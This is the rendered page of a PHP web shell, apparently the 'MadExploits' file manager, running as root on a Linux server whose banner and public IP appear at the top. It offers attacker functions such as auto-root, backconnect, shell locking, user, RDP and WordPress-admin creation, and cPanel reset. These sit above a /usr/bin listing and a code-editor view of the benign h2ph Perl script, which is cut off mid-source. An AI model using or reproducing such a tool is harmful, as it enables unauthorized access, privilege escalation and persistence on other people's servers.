Linux 4e23370b81f1 5.14.0-687.5.3.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 19 14:53:22 EDT 2026 x86_64
: 127.0.0.1 | : 74.7.243.207
Cant Read [ /etc/named.conf ]
8.3.31
root
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
bin /
[ HOME SHELL ]
Name
Size
Permission
Action
X11
[ DIR ]
drwxr-xr-x
[
54.41
KB
-rwxr-xr-x
apt
18.31
KB
-rwxr-xr-x
apt-cache
90.38
KB
-rwxr-xr-x
apt-cdrom
26.38
KB
-rwxr-xr-x
apt-config
30.31
KB
-rwxr-xr-x
apt-get
58.38
KB
-rwxr-xr-x
apt-mark
62.38
KB
-rwxr-xr-x
arch
42.45
KB
-rwxr-xr-x
awk
166.66
KB
-rwxr-xr-x
b2sum
62.45
KB
-rwxr-xr-x
base32
46.41
KB
-rwxr-xr-x
base64
46.41
KB
-rwxr-xr-x
basename
42.41
KB
-rwxr-xr-x
basenc
58.41
KB
-rwxr-xr-x
bash
1.24
MB
-rwxr-xr-x
bashbug
6.78
KB
-rwxr-xr-x
bdftopcf
42.65
KB
-rwxr-xr-x
bdftruncate
14.45
KB
-rwxr-xr-x
bunzip2
38.3
KB
-rwxr-xr-x
bzcat
38.3
KB
-rwxr-xr-x
bzcmp
2.17
KB
-rwxr-xr-x
bzdiff
2.17
KB
-rwxr-xr-x
bzegrep
3.69
KB
-rwxr-xr-x
bzexe
4.78
KB
-rwxr-xr-x
bzfgrep
3.69
KB
-rwxr-xr-x
bzgrep
3.69
KB
-rwxr-xr-x
bzip2
38.3
KB
-rwxr-xr-x
bzip2recover
14.23
KB
-rwxr-xr-x
bzless
1.27
KB
-rwxr-xr-x
bzmore
1.27
KB
-rwxr-xr-x
c_rehash
6.76
KB
-rwxr-xr-x
captoinfo
94.34
KB
-rwxr-xr-x
cat
46.48
KB
-rwxr-xr-x
cgi-fcgi
22.08
KB
-rwxr-xr-x
chage
111.18
KB
-rwxr-sr-x
chcon
78.41
KB
-rwxr-xr-x
chfn
69.23
KB
-rwsr-xr-x
chgrp
74.45
KB
-rwxr-xr-x
chmod
70.45
KB
-rwxr-xr-x
choom
54.38
KB
-rwxr-xr-x
chown
74.45
KB
-rwxr-xr-x
chrt
70.38
KB
-rwxr-xr-x
chsh
51.7
KB
-rwsr-xr-x
cksum
134.45
KB
-rwxr-xr-x
clear
14.24
KB
-rwxr-xr-x
clear_console
14.15
KB
-rwxr-xr-x
cmp
54.95
KB
-rwxr-xr-x
comm
46.45
KB
-rwxr-xr-x
corelist
15.01
KB
-rwxr-xr-x
cp
146.45
KB
-rwxr-xr-x
cpan
8.16
KB
-rwxr-xr-x
cpan5.40-x86_64-linux-gnu
8.18
KB
-rwxr-xr-x
csplit
58.45
KB
-rwxr-xr-x
ctstat
26.66
KB
-rwxr-xr-x
curl
314.34
KB
-rwxr-xr-x
cut
54.45
KB
-rwxr-xr-x
cvtsudoers
389.49
KB
-rwxr-xr-x
dash
126.7
KB
-rwxr-xr-x
date
98.45
KB
-rwxr-xr-x
dd
74.48
KB
-rwxr-xr-x
deb-systemd-helper
23.79
KB
-rwxr-xr-x
deb-systemd-invoke
6.97
KB
-rwxr-xr-x
debconf
2.8
KB
-rwxr-xr-x
debconf-apt-progress
11.57
KB
-rwxr-xr-x
debconf-communicate
623
B
-rwxr-xr-x
debconf-copydb
1.68
KB
-rwxr-xr-x
debconf-escape
668
B
-rwxr-xr-x
debconf-set-selections
3.14
KB
-rwxr-xr-x
debconf-show
1.78
KB
-rwxr-xr-x
debsums
24.9
KB
-rwxr-xr-x
df
106.92
KB
-rwxr-xr-x
diff
159.61
KB
-rwxr-xr-x
diff3
71.14
KB
-rwxr-xr-x
dir
154.91
KB
-rwxr-xr-x
dircolors
54.45
KB
-rwxr-xr-x
dirmngr
626.48
KB
-rwxr-xr-x
dirmngr-client
106.86
KB
-rwxr-xr-x
dirname
42.41
KB
-rwxr-xr-x
dmesg
88.71
KB
-rwxr-xr-x
dnsdomainname
26.15
KB
-rwxr-xr-x
domainname
26.15
KB
-rwxr-xr-x
dpkg
319.05
KB
-rwxr-xr-x
dpkg-deb
178.53
KB
-rwxr-xr-x
dpkg-divert
158.77
KB
-rwxr-xr-x
dpkg-maintscript-helper
20.63
KB
-rwxr-xr-x
dpkg-query
170.77
KB
-rwxr-xr-x
dpkg-realpath
58.33
KB
-rwxr-xr-x
dpkg-split
142.48
KB
-rwxr-xr-x
dpkg-statoverride
86.51
KB
-rwxr-xr-x
dpkg-trigger
90.5
KB
-rwxr-xr-x
du
110.45
KB
-rwxr-xr-x
dvipdf
1007
B
-rwxr-xr-x
echo
42.41
KB
-rwxr-xr-x
editor
296.84
KB
-rwxr-xr-x
egrep
41
B
-rwxr-xr-x
enc2xs
40.97
KB
-rwxr-xr-x
encguess
2.99
KB
-rwxr-xr-x
env
54.83
KB
-rwxr-xr-x
eps2eps
639
B
-rwxr-xr-x
ex
3.74
MB
-rwxr-xr-x
expand
46.45
KB
-rwxr-xr-x
expiry
30.52
KB
-rwxr-sr-x
expr
50.41
KB
-rwxr-xr-x
factor
74.45
KB
-rwxr-xr-x
fallocate
34.38
KB
-rwxr-xr-x
false
42.41
KB
-rwxr-xr-x
fgrep
41
B
-rwxr-xr-x
find
227.58
KB
-rwxr-xr-x
findmnt
99.9
KB
-rwxr-xr-x
flock
34.46
KB
-rwxr-xr-x
fmt
50.41
KB
-rwxr-xr-x
fold
46.41
KB
-rwxr-xr-x
fonttosfnt
46.74
KB
-rwxr-xr-x
free
26.3
KB
-rwxr-xr-x
ftp
174.77
KB
-rwxr-xr-x
funzip
26.54
KB
-rwxr-xr-x
fuser
39.83
KB
-rwxr-xr-x
gencat
26.37
KB
-rwxr-xr-x
getconf
26.29
KB
-rwxr-xr-x
getent
34.65
KB
-rwxr-xr-x
getopt
34.38
KB
-rwxr-xr-x
ghostscript
14.26
KB
-rwxr-xr-x
git
3.89
MB
-rwxr-xr-x
git-receive-pack
3.89
MB
-rwxr-xr-x
git-shell
2.21
MB
-rwxr-xr-x
git-upload-archive
3.89
MB
-rwxr-xr-x
git-upload-pack
3.89
MB
-rwxr-xr-x
gpasswd
86.49
KB
-rwsr-xr-x
gpg
1.17
MB
-rwxr-xr-x
gpg-agent
445.49
KB
-rwxr-xr-x
gpg-connect-agent
139.27
KB
-rwxr-xr-x
gpg2
1.17
MB
-rwxr-xr-x
gpgconf
167.54
KB
-rwxr-xr-x
gpgsm
613.32
KB
-rwxr-xr-x
gpgv
520.35
KB
-rwxr-xr-x
grep
198.39
KB
-rwxr-xr-x
groups
42.41
KB
-rwxr-xr-x
gs
14.26
KB
-rwxr-xr-x
gsbj
350
B
-rwxr-xr-x
gsdj
352
B
-rwxr-xr-x
gsdj500
352
B
-rwxr-xr-x
gslj
353
B
-rwxr-xr-x
gslp
350
B
-rwxr-xr-x
gsnd
277
B
-rwxr-xr-x
gunzip
2.28
KB
-rwxr-xr-x
gzexe
6.29
KB
-rwxr-xr-x
gzip
99.8
KB
-rwxr-xr-x
h2ph
28.15
KB
-rwxr-xr-x
h2xs
59.51
KB
-rwxr-xr-x
hardlink
62.48
KB
-rwxr-xr-x
head
50.45
KB
-rwxr-xr-x
helpztags
2.46
KB
-rwxr-xr-x
hostid
42.41
KB
-rwxr-xr-x
hostname
26.15
KB
-rwxr-xr-x
i386
86.66
KB
-rwxr-xr-x
iconv
66.44
KB
-rwxr-xr-x
id
50.45
KB
-rwxr-xr-x
infocmp
66.31
KB
-rwxr-xr-x
infotocap
94.34
KB
-rwxr-xr-x
innochecksum
196.17
KB
-rwxr-xr-x
install
150.48
KB
-rwxr-xr-x
instmodsh
4.27
KB
-rwxr-xr-x
ionice
34.38
KB
-rwxr-xr-x
ip
704.99
KB
-rwxr-xr-x
ipcmk
34.45
KB
-rwxr-xr-x
ipcrm
74.38
KB
-rwxr-xr-x
ipcs
82.38
KB
-rwxr-xr-x
ischroot
14.41
KB
-rwxr-xr-x
join
58.48
KB
-rwxr-xr-x
jq
30.08
KB
-rwxr-xr-x
json_pp
4.9
KB
-rwxr-xr-x
kill
22.3
KB
-rwxr-xr-x
killall
31.95
KB
-rwxr-xr-x
ld.so
220.38
KB
-rwxr-xr-x
ldd
5.23
KB
-rwxr-xr-x
less
243.53
KB
-rwxr-xr-x
lessecho
14.24
KB
-rwxr-xr-x
lessfile
8.83
KB
-rwxr-xr-x
lesskey
26.31
KB
-rwxr-xr-x
lesspipe
8.83
KB
-rwxr-xr-x
lftp
1.48
MB
-rwxr-xr-x
lftpget
1.27
KB
-rwxr-xr-x
libnetcfg
15.41
KB
-rwxr-xr-x
link
42.41
KB
-rwxr-xr-x
linux32
86.66
KB
-rwxr-xr-x
linux64
86.66
KB
-rwxr-xr-x
ln
74.45
KB
-rwxr-xr-x
lnstat
26.66
KB
-rwxr-xr-x
locale
45.56
KB
-rwxr-xr-x
localedef
303.05
KB
-rwxr-xr-x
logger
58.98
KB
-rwxr-xr-x
login
90.38
KB
-rwxr-xr-x
logname
42.41
KB
-rwxr-xr-x
ls
154.91
KB
-rwxr-xr-x
lsb_release
2.77
KB
-rwxr-xr-x
lsblk
242.39
KB
-rwxr-xr-x
lscpu
162.39
KB
-rwxr-xr-x
lsipc
110.38
KB
-rwxr-xr-x
lslocks
78.8
KB
-rwxr-xr-x
lslogins
110.38
KB
-rwxr-xr-x
lsmem
70.38
KB
-rwxr-xr-x
lsns
90.39
KB
-rwxr-xr-x
lsof
203.9
KB
-rwxr-xr-x
lzcat
102.7
KB
-rwxr-xr-x
lzcmp
7.41
KB
-rwxr-xr-x
lzdiff
7.41
KB
-rwxr-xr-x
lzegrep
10.17
KB
-rwxr-xr-x
lzfgrep
10.17
KB
-rwxr-xr-x
lzgrep
10.17
KB
-rwxr-xr-x
lzless
2.33
KB
-rwxr-xr-x
lzma
102.7
KB
-rwxr-xr-x
lzmainfo
18.3
KB
-rwxr-xr-x
lzmore
2.18
KB
-rwxr-xr-x
mawk
166.66
KB
-rwxr-xr-x
mcookie
38.45
KB
-rwxr-xr-x
md5sum
54.45
KB
-rwxr-xr-x
mkdir
86.41
KB
-rwxr-xr-x
mkfifo
74.41
KB
-rwxr-xr-x
mkfontdir
65
B
-rwxr-xr-x
mkfontscale
43.29
KB
-rwxr-xr-x
mknod
82.41
KB
-rwxr-xr-x
mkpasswd
26.3
KB
-rwxr-xr-x
mktemp
46.41
KB
-rwxr-xr-x
more
58.39
KB
-rwxr-xr-x
mount
70.38
KB
-rwsr-xr-x
mountpoint
18.38
KB
-rwxr-xr-x
mv
146.45
KB
-rwxr-xr-x
myisam_ftdump
6.35
MB
-rwxr-xr-x
mysql
7.33
MB
-rwxr-xr-x
mysqladmin
7.02
MB
-rwxr-xr-x
mysqlanalyze
7.03
MB
-rwxr-xr-x
mysqlcheck
7.03
MB
-rwxr-xr-x
mysqldump
7.12
MB
-rwxr-xr-x
mysqldumpslow
1.73
KB
-rwxr-xr-x
mysqlimport
7
MB
-rwxr-xr-x
mysqloptimize
7.03
MB
-rwxr-xr-x
mysqlrepair
7.03
MB
-rwxr-xr-x
mysqlshow
7.01
MB
-rwxr-xr-x
mysqlslap
7.02
MB
-rwxr-xr-x
namei
38.38
KB
-rwxr-xr-x
nano
296.84
KB
-rwxr-xr-x
nawk
166.66
KB
-rwxr-xr-x
ncdu
94.22
KB
-rwxr-xr-x
netstat
155.66
KB
-rwxr-xr-x
newgrp
18.38
KB
-rwsr-xr-x
newrelic-daemon
19.21
MB
-rwxr-xr-x
nice
42.41
KB
-rwxr-xr-x
nisdomainname
26.15
KB
-rwxr-xr-x
nl
50.51
KB
-rwxr-xr-x
nohup
46.41
KB
-rwxr-xr-x
nproc
46.41
KB
-rwxr-xr-x
nsenter
86.65
KB
-rwxr-xr-x
nstat
114.52
KB
-rwxr-xr-x
numfmt
66.48
KB
-rwxr-xr-x
od
82.45
KB
-rwxr-xr-x
openssl
1.05
MB
-rwxr-xr-x
pager
243.53
KB
-rwxr-xr-x
partx
134.39
KB
-rwxr-xr-x
passwd
115.4
KB
-rwsr-xr-x
paste
46.45
KB
-rwxr-xr-x
pathchk
42.41
KB
-rwxr-xr-x
pdf2dsc
705
B
-rwxr-xr-x
pdf2ps
909
B
-rwxr-xr-x
peekfd
14.5
KB
-rwxr-xr-x
percona-release
37.71
KB
-rwxr-xr-x
perl
3.75
MB
-rwxr-xr-x
perl5.40-x86_64-linux-gnu
14.41
KB
-rwxr-xr-x
perl5.40.1
3.75
MB
-rwxr-xr-x
perlbug
44.52
KB
-rwxr-xr-x
perldoc
125
B
-rwxr-xr-x
perlivp
10.61
KB
-rwxr-xr-x
perlthanks
44.52
KB
-rwxr-xr-x
pf2afm
498
B
-rwxr-xr-x
pfbtopfa
516
B
-rwxr-xr-x
pgrep
38.42
KB
-rwxr-xr-x
php
20.03
MB
-rwxr-xr-x
pico
296.84
KB
-rwxr-xr-x
piconv
8.16
KB
-rwxr-xr-x
pidof
26.31
KB
-rwxr-xr-x
pidwait
38.42
KB
-rwxr-xr-x
pinentry
74.57
KB
-rwxr-xr-x
pinentry-curses
74.57
KB
-rwxr-xr-x
ping
152.48
KB
-rwxr-xr-x
ping4
152.48
KB
-rwxr-xr-x
ping6
152.48
KB
-rwxr-xr-x
pinky
58.45
KB
-rwxr-xr-x
pkill
38.42
KB
-rwxr-xr-x
pl2pm
4.43
KB
-rwxr-xr-x
pldd
22.37
KB
-rwxr-xr-x
pmap
34.34
KB
-rwxr-xr-x
pod2html
3.95
KB
-rwxr-xr-x
pod2man
18.46
KB
-rwxr-xr-x
pod2text
12.8
KB
-rwxr-xr-x
pod2usage
4.01
KB
-rwxr-xr-x
podchecker
3.64
KB
-rwxr-xr-x
pphs
404
B
-rwxr-xr-x
pr
78.51
KB
-rwxr-xr-x
printafm
395
B
-rwxr-xr-x
printenv
42.41
KB
-rwxr-xr-x
printf
66.41
KB
-rwxr-xr-x
prlimit
42.9
KB
-rwxr-xr-x
prove
13.36
KB
-rwxr-xr-x
prtstat
18.57
KB
-rwxr-xr-x
ps
150.93
KB
-rwxr-xr-x
ps2ascii
494
B
-rwxr-xr-x
ps2epsi
1.27
KB
-rwxr-xr-x
ps2pdf
272
B
-rwxr-xr-x
ps2pdf12
257
B
-rwxr-xr-x
ps2pdf13
257
B
-rwxr-xr-x
ps2pdf14
257
B
-rwxr-xr-x
ps2pdfwr
1.05
KB
-rwxr-xr-x
ps2ps
647
B
-rwxr-xr-x
ps2ps2
669
B
-rwxr-xr-x
ps2txt
494
B
-rwxr-xr-x
pslog
14.45
KB
-rwxr-xr-x
pstree
35.78
KB
-rwxr-xr-x
pstree.x11
35.78
KB
-rwxr-xr-x
ptar
3.48
KB
-rwxr-xr-x
ptardiff
2.58
KB
-rwxr-xr-x
ptargrep
4.29
KB
-rwxr-xr-x
ptx
62.48
KB
-rwxr-xr-x
pwd
42.41
KB
-rwxr-xr-x
pwdx
14.3
KB
-rwxr-xr-x
rbash
1.24
MB
-rwxr-xr-x
rdebsums
2.61
KB
-rwxr-xr-x
rdma
198.67
KB
-rwxr-xr-x
readlink
54.41
KB
-rwxr-xr-x
realpath
54.45
KB
-rwxr-xr-x
redis-benchmark
282.81
KB
-rwxr-xr-x
redis-cli
610.63
KB
-rwxr-xr-x
rename.ul
30.38
KB
-rwxr-xr-x
renice
14.38
KB
-rwxr-xr-x
reset
30.24
KB
-rwxr-xr-x
rev
14.38
KB
-rwxr-xr-x
rg
5.02
MB
-rwxr-xr-x
rgrep
30
B
-rwxr-xr-x
rm
74.45
KB
-rwxr-xr-x
rmdir
42.41
KB
-rwxr-xr-x
rnano
296.84
KB
-rwxr-xr-x
routel
1.62
KB
-rwxr-xr-x
rpcgen
95
KB
-rwxr-xr-x
rrsync
12.7
KB
-rwxr-xr-x
rsync
530.35
KB
-rwxr-xr-x
rsync-ssl
5.01
KB
-rwxr-xr-x
rtstat
26.66
KB
-rwxr-xr-x
run-parts
26.75
KB
-rwxr-xr-x
runcon
46.41
KB
-rwxr-xr-x
rview
3.74
MB
-rwxr-xr-x
rvim
3.74
MB
-rwxr-xr-x
savelog
10.24
KB
-rwxr-xr-x
scalar
2.27
MB
-rwxr-xr-x
scp
222.63
KB
-rwxr-xr-x
script
78.38
KB
-rwxr-xr-x
scriptlive
66.38
KB
-rwxr-xr-x
scriptreplay
46.38
KB
-rwxr-xr-x
sdiff
67.09
KB
-rwxr-xr-x
sed
127.46
KB
-rwxr-xr-x
seq
46.41
KB
-rwxr-xr-x
setarch
86.66
KB
-rwxr-xr-x
setpriv
90.39
KB
-rwxr-xr-x
setsid
14.38
KB
-rwxr-xr-x
setterm
46.38
KB
-rwxr-xr-x
sftp
234.59
KB
-rwxr-xr-x
sg
18.38
KB
-rwsr-xr-x
sh
126.7
KB
-rwxr-xr-x
sha1sum
54.45
KB
-rwxr-xr-x
sha224sum
54.45
KB
-rwxr-xr-x
sha256sum
54.45
KB
-rwxr-xr-x
sha384sum
54.45
KB
-rwxr-xr-x
sha512sum
54.45
KB
-rwxr-xr-x
shasum
9.75
KB
-rwxr-xr-x
shred
66.45
KB
-rwxr-xr-x
shuf
62.41
KB
-rwxr-xr-x
skill
30.33
KB
-rwxr-xr-x
slabtop
22.37
KB
-rwxr-xr-x
sleep
42.41
KB
-rwxr-xr-x
snice
30.33
KB
-rwxr-xr-x
sort
118.7
KB
-rwxr-xr-x
splain
19
KB
-rwxr-xr-x
split
70.86
KB
-rwxr-xr-x
sqv
1.78
MB
-rwxr-xr-x
ss
207
KB
-rwxr-xr-x
ssh
1023.03
KB
-rwxr-xr-x
ssh-add
434.44
KB
-rwxr-xr-x
ssh-agent
410.38
KB
-rwxr-sr-x
ssh-argv0
1.42
KB
-rwxr-xr-x
ssh-copy-id
13.84
KB
-rwxr-xr-x
ssh-keygen
554.44
KB
-rwxr-xr-x
ssh-keyscan
574.47
KB
-rwxr-xr-x
stat
102.45
KB
-rwxr-xr-x
stdbuf
46.41
KB
-rwxr-xr-x
streamzip
7.87
KB
-rwxr-xr-x
stty
74.45
KB
-rwxr-xr-x
su
82.38
KB
-rwsr-xr-x
sudo
299.27
KB
-rwsr-xr-x
sudoedit
299.27
KB
-rwsr-xr-x
sudoreplay
127.92
KB
-rwxr-xr-x
sum
50.42
KB
-rwxr-xr-x
sync
42.41
KB
-rwxr-xr-x
tabs
18.23
KB
-rwxr-xr-x
tac
46.41
KB
-rwxr-xr-x
tail
78.48
KB
-rwxr-xr-x
tar
447.54
KB
-rwxr-xr-x
taskset
66.38
KB
-rwxr-xr-x
tee
46.45
KB
-rwxr-xr-x
tempfile
14.23
KB
-rwxr-xr-x
test
46.41
KB
-rwxr-xr-x
tic
94.34
KB
-rwxr-xr-x
timeout
46.86
KB
-rwxr-xr-x
tload
22.32
KB
-rwxr-xr-x
tmux
1.04
MB
-rwxr-xr-x
tnftp
174.77
KB
-rwxr-xr-x
toe
22.23
KB
-rwxr-xr-x
top
135.61
KB
-rwxr-xr-x
touch
86.45
KB
-rwxr-xr-x
tput
30.27
KB
-rwxr-xr-x
tr
58.41
KB
-rwxr-xr-x
true
42.41
KB
-rwxr-xr-x
truncate
46.41
KB
-rwxr-xr-x
tset
30.24
KB
-rwxr-xr-x
tsort
58.41
KB
-rwxr-xr-x
tty
42.41
KB
-rwxr-xr-x
tzselect
21.36
KB
-rwxr-xr-x
uclampset
70.38
KB
-rwxr-xr-x
ucs2any
26.53
KB
-rwxr-xr-x
umount
54.38
KB
-rwsr-xr-x
uname
42.45
KB
-rwxr-xr-x
uncompress
2.28
KB
-rwxr-xr-x
unexpand
46.45
KB
-rwxr-xr-x
uniq
54.45
KB
-rwxr-xr-x
unlink
42.41
KB
-rwxr-xr-x
unlzma
102.7
KB
-rwxr-xr-x
unshare
90.62
KB
-rwxr-xr-x
unxz
102.7
KB
-rwxr-xr-x
unzip
175.05
KB
-rwxr-xr-x
unzipsfx
82.94
KB
-rwxr-xr-x
update-alternatives
58.31
KB
-rwxr-xr-x
uptime
14.3
KB
-rwxr-xr-x
users
50.41
KB
-rwxr-xr-x
valkey-benchmark
282.81
KB
-rwxr-xr-x
valkey-check-aof
2.93
MB
-rwxr-xr-x
valkey-check-rdb
2.93
MB
-rwxr-xr-x
valkey-cli
610.63
KB
-rwxr-xr-x
vdir
154.91
KB
-rwxr-xr-x
vi
3.74
MB
-rwxr-xr-x
view
3.74
MB
-rwxr-xr-x
vim
3.74
MB
-rwxr-xr-x
vim.basic
3.74
MB
-rwxr-xr-x
vimdiff
3.74
MB
-rwxr-xr-x
vimtutor
4.74
KB
-rwxr-xr-x
vmstat
38.72
KB
-rwxr-xr-x
w
30.3
KB
-rwxr-xr-x
wall
46.38
KB
-rwxr-xr-x
watch
30.77
KB
-rwxr-xr-x
wc
66.45
KB
-rwxr-xr-x
wcurl
10.98
KB
-rwxr-xr-x
wdctl
74.38
KB
-rwxr-xr-x
wget
471.36
KB
-rwxr-xr-x
whereis
30.38
KB
-rwxr-xr-x
which
1.05
KB
-rwxr-xr-x
which.debianutils
1.05
KB
-rwxr-xr-x
who
62.45
KB
-rwxr-xr-x
whoami
42.41
KB
-rwxr-xr-x
whois
156.16
KB
-rwxr-xr-x
x86_64
86.66
KB
-rwxr-xr-x
xargs
74.45
KB
-rwxr-xr-x
xsubpp
5.05
KB
-rwxr-xr-x
xz
102.7
KB
-rwxr-xr-x
xzcat
102.7
KB
-rwxr-xr-x
xzcmp
7.41
KB
-rwxr-xr-x
xzdiff
7.41
KB
-rwxr-xr-x
xzegrep
10.17
KB
-rwxr-xr-x
xzfgrep
10.17
KB
-rwxr-xr-x
xzgrep
10.17
KB
-rwxr-xr-x
xzless
2.33
KB
-rwxr-xr-x
xzmore
2.18
KB
-rwxr-xr-x
yes
42.41
KB
-rwxr-xr-x
ypdomainname
26.15
KB
-rwxr-xr-x
zcat
1.93
KB
-rwxr-xr-x
zcmp
1.64
KB
-rwxr-xr-x
zdiff
6.3
KB
-rwxr-xr-x
zdump
26.21
KB
-rwxr-xr-x
zegrep
29
B
-rwxr-xr-x
zfgrep
29
B
-rwxr-xr-x
zforce
2.03
KB
-rwxr-xr-x
zgrep
8.01
KB
-rwxr-xr-x
zip
216.27
KB
-rwxr-xr-x
zipcloak
92.48
KB
-rwxr-xr-x
zipdetails
231.06
KB
-rwxr-xr-x
zipgrep
2.76
KB
-rwxr-xr-x
zipinfo
175.05
KB
-rwxr-xr-x
zipnote
88.16
KB
-rwxr-xr-x
zipsplit
88.16
KB
-rwxr-xr-x
zless
2.38
KB
-rwxr-xr-x
zmore
1.79
KB
-rwxr-xr-x
znew
4.46
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : h2ph
#!/usr/bin/perl eval 'exec /usr/bin/perl -S $0 ${1+"$@"}' if 0; # ^ Run only under a shell BEGIN { pop @INC if $INC[-1] eq '.' } use strict; use Config; use File::Path qw(mkpath); use Getopt::Std; # Make sure read permissions for all are set: if (defined umask && (umask() & 0444)) { umask (umask() & ~0444); } getopts('Dd:rlhaQe'); use vars qw($opt_D $opt_d $opt_r $opt_l $opt_h $opt_a $opt_Q $opt_e); die "-r and -a options are mutually exclusive\n" if ($opt_r and $opt_a); my @inc_dirs = inc_dirs() if $opt_a; my $Exit = 0; my $Dest_dir = $opt_d || $Config{installsitearch}; die "Destination directory $Dest_dir doesn't exist or isn't a directory\n" unless -d $Dest_dir; my @isatype = qw( char uchar u_char short ushort u_short int uint u_int long ulong u_long FILE key_t caddr_t float double size_t ); my %isatype; @isatype{@isatype} = (1) x @isatype; my $inif = 0; my %Is_converted; my %bad_file = (); @ARGV = ('-') unless @ARGV; build_preamble_if_necessary(); sub reindent($) { my($text) = shift; $text =~ s/\n/\n /g; $text =~ s/ /\t/g; $text; } my ($t, $tab, %curargs, $new, $eval_index, $dir, $name, $args, $outfile); my ($incl, $incl_type, $incl_quote, $next); while (defined (my $file = next_file())) { if (-l $file and -d $file) { link_if_possible($file) if ($opt_l); next; } # Recover from header files with unbalanced cpp directives $t = ''; $tab = 0; # $eval_index goes into '#line' directives, to help locate syntax errors: $eval_index = 1; if ($file eq '-') { open(IN, "-"); open(OUT, ">-"); } else { ($outfile = $file) =~ s/\.h$/.ph/ || next; print "$file -> $outfile\n" unless $opt_Q; if ($file =~ m|^(.*)/|) { $dir = $1; mkpath "$Dest_dir/$dir"; } if ($opt_a) { # automagic mode: locate header file in @inc_dirs foreach (@inc_dirs) { chdir $_; last if -f $file; } } open(IN, "<", "$file") || (($Exit = 1),(warn "Can't open $file: $!\n"),next); open(OUT, ">", "$Dest_dir/$outfile") || die "Can't create $outfile: $!\n"; } print OUT "require '_h2ph_pre.ph';\n\n", "no warnings qw(redefine misc);\n\n"; while (defined (local $_ = next_line($file))) { if (s/^\s*\#\s*//) { if (s/^define\s+(\w+)//) { $name = $1; $new = ''; s/\s+$//; s/\(\w+\s*\(\*\)\s*\(\w*\)\)\s*(-?\d+)/$1/; # (int (*)(foo_t))0 if (s/^\(([\w,\s]*)\)//) { $args = $1; my $proto = '() '; if ($args ne '') { $proto = ''; foreach my $arg (split(/,\s*/,$args)) { $arg =~ s/^\s*([^\s].*[^\s])\s*$/$1/; $curargs{$arg} = 1; } $args =~ s/\b(\w)/\$$1/g; $args = "my($args) = \@_;\n$t "; } s/^\s+//; expr(); $new =~ s/(["\\])/\\$1/g; #"]); EMIT($proto); } else { s/^\s+//; expr(); $new = 1 if $new eq ''; # Shunt around such directives as '#define FOO FOO': next if $new =~ /^\s*&\Q$name\E\s*\z/; $new = reindent($new); $args = reindent($args); $new =~ s/(['\\])/\\$1/g; #']); print OUT $t, 'eval '; if ($opt_h) { print OUT "\"\\n#line $eval_index $outfile\\n\" . "; $eval_index++; } print OUT "'sub $name () {$new;}' unless defined(&$name);\n"; } } elsif (/^(include|import|include_next)\s*([<\"])(.*)[>\"]/) { $incl_type = $1; $incl_quote = $2; $incl = $3; if (($incl_type eq 'include_next') || ($opt_e && exists($bad_file{$incl}))) { $incl =~ s/\.h$/.ph/; print OUT ($t, "eval {\n"); $tab += 4; $t = "\t" x ($tab / 8) . ' ' x ($tab % 8); print OUT ($t, "my(\@REM);\n"); if ($incl_type eq 'include_next') { print OUT ($t, "my(\%INCD) = map { \$INC{\$_} => 1 } ", "(grep { \$_ eq \"$incl\" } ", "keys(\%INC));\n"); print OUT ($t, "\@REM = map { \"\$_/$incl\" } ", "(grep { not exists(\$INCD{\"\$_/$incl\"})", " and -f \"\$_/$incl\" } \@INC);\n"); } else { print OUT ($t, "\@REM = map { \"\$_/$incl\" } ", "(grep {-r \"\$_/$incl\" } \@INC);\n"); } print OUT ($t, "require \"\$REM[0]\" if \@REM;\n"); $tab -= 4; $t = "\t" x ($tab / 8) . ' ' x ($tab % 8); print OUT ($t, "};\n"); print OUT ($t, "warn(\$\@) if \$\@;\n"); } else { $incl =~ s/\.h$/.ph/; # copy the prefix in the quote syntax (#include "x.h") case if ($incl !~ m|/| && $incl_quote eq q{"} && $file =~ m|^(.*)/|) { $incl = "$1/$incl"; } print OUT $t,"require '$incl';\n"; } } elsif (/^ifdef\s+(\w+)/) { print OUT $t,"if(defined(&$1)) {\n"; $tab += 4; $t = "\t" x ($tab / 8) . ' ' x ($tab % 8); } elsif (/^ifndef\s+(\w+)/) { print OUT $t,"unless(defined(&$1)) {\n"; $tab += 4; $t = "\t" x ($tab / 8) . ' ' x ($tab % 8); } elsif (s/^if\s+//) { $new = ''; $inif = 1; expr(); $inif = 0; print OUT $t,"if($new) {\n"; $tab += 4; $t = "\t" x ($tab / 8) . ' ' x ($tab % 8); } elsif (s/^elif\s+//) { $new = ''; $inif = 1; expr(); $inif = 0; $tab -= 4; $t = "\t" x ($tab / 8) . ' ' x ($tab % 8); print OUT $t,"}\n elsif($new) {\n"; $tab += 4; $t = "\t" x ($tab / 8) . ' ' x ($tab % 8); } elsif (/^else/) { $tab -= 4; $t = "\t" x ($tab / 8) . ' ' x ($tab % 8); print OUT $t,"} else {\n"; $tab += 4; $t = "\t" x ($tab / 8) . ' ' x ($tab % 8); } elsif (/^endif/) { $tab -= 4; $t = "\t" x ($tab / 8) . ' ' x ($tab % 8); print OUT $t,"}\n"; } elsif(/^undef\s+(\w+)/) { print OUT $t, "undef(&$1) if defined(&$1);\n"; } elsif(/^error\s+(".*")/) { print OUT $t, "die($1);\n"; } elsif(/^error\s+(.*)/) { print OUT $t, "die(\"", quotemeta($1), "\");\n"; } elsif(/^warning\s+(.*)/) { print OUT $t, "warn(\"", quotemeta($1), "\");\n"; } elsif(/^ident\s+(.*)/) { print OUT $t, "# $1\n"; } } elsif (/^\s*(typedef\s*)?enum\s*(\s+[a-zA-Z_]\w*\s*)?/) { # { for vi until(/\{[^}]*\}.*;/ || /;/) { last unless defined ($next = next_line($file)); chomp $next; # drop "#define FOO FOO" in enums $next =~ s/^\s*#\s*define\s+(\w+)\s+\1\s*$//; # #defines in enums (aliases) $next =~ s/^\s*#\s*define\s+(\w+)\s+(\w+)\s*$/$1 = $2,/; $_ .= $next; print OUT "# $next\n" if $opt_D; } s/#\s*if.*?#\s*endif//g; # drop #ifdefs s@/\*.*?\*/@@g; s/\s+/ /g; next unless /^\s?(typedef\s?)?enum\s?([a-zA-Z_]\w*)?\s?\{(.*)\}\s?([a-zA-Z_]\w*)?\s?;/; (my $enum_subs = $3) =~ s/\s//g; my @enum_subs = split(/,/, $enum_subs); my $enum_val = -1; foreach 